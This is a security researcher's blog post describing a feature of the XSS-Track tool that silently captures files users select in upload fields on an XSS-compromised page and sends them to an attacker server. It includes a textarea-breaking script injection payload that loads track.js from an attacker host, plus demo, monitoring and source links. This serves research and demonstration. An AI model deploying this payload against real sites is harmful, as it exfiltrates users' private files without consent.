HTML5, broadly speaking (actually it's
XMLHttpRequest Level 2, not being part of
HTML5 spec, but who cares?) has yet another neat feature: it allows you to
send files through AJAX requests. Of course, cross domain communication is also possible. Which is generally a good thing... unless you have an XSS on your site that can now capture files you intend to upload and send them also to a third-party server.
Which is exactly what I have done in newest
XSS-Track. Now you can append
files=1 parameter to script URL (e.g.
http://evil.example.com/track.js?files=1 ) and it will monitor the site for any
<input type="file" /> elements. When you
change() them (e.g. by choosing a file from your hard-drive), it will quietly start uploading the chosen file meta-data (name, size, MIME type)
and file contents to
log.php.
As the user will be doing twice as much uploads (one for legitimate site, one for us), XSS-Track does not wait for the form to be actually submitted, but it starts quietly uploading as soon as the field changes.
Support
This works also for
<input type="file" multiple />. Currently supporting browsers that I'm aware of are:
- Chrome,
- FF 3.6 (meta-data only)
- FF 4.0
- ... and many more in the future as HTML5 is coming :)
Of course, if a browser doesn't support AJAX file upload, it will stay quiet. The
log.php script will store the files in
captured_files subdirectory.
Demo
Go on, try it now!
Vulnerable application:
http://victim.kotowicz.net/xss-track/vuln/?page=search
Payload (paste into textarea)
:
</textarea><script src="//attacker.kotowicz.net/xss-track/track.js?files=1">
</script>
Monitoring (you will only see your own IP actions):
http://attacker.kotowicz.net/xss-track/show.php
Clearing logs:
http://attacker.kotowicz.net/xss-track/show.php?clear=1
Source code:
https://github.com/koto/blog-kotowicz-net-examples/tree/master/track-xss/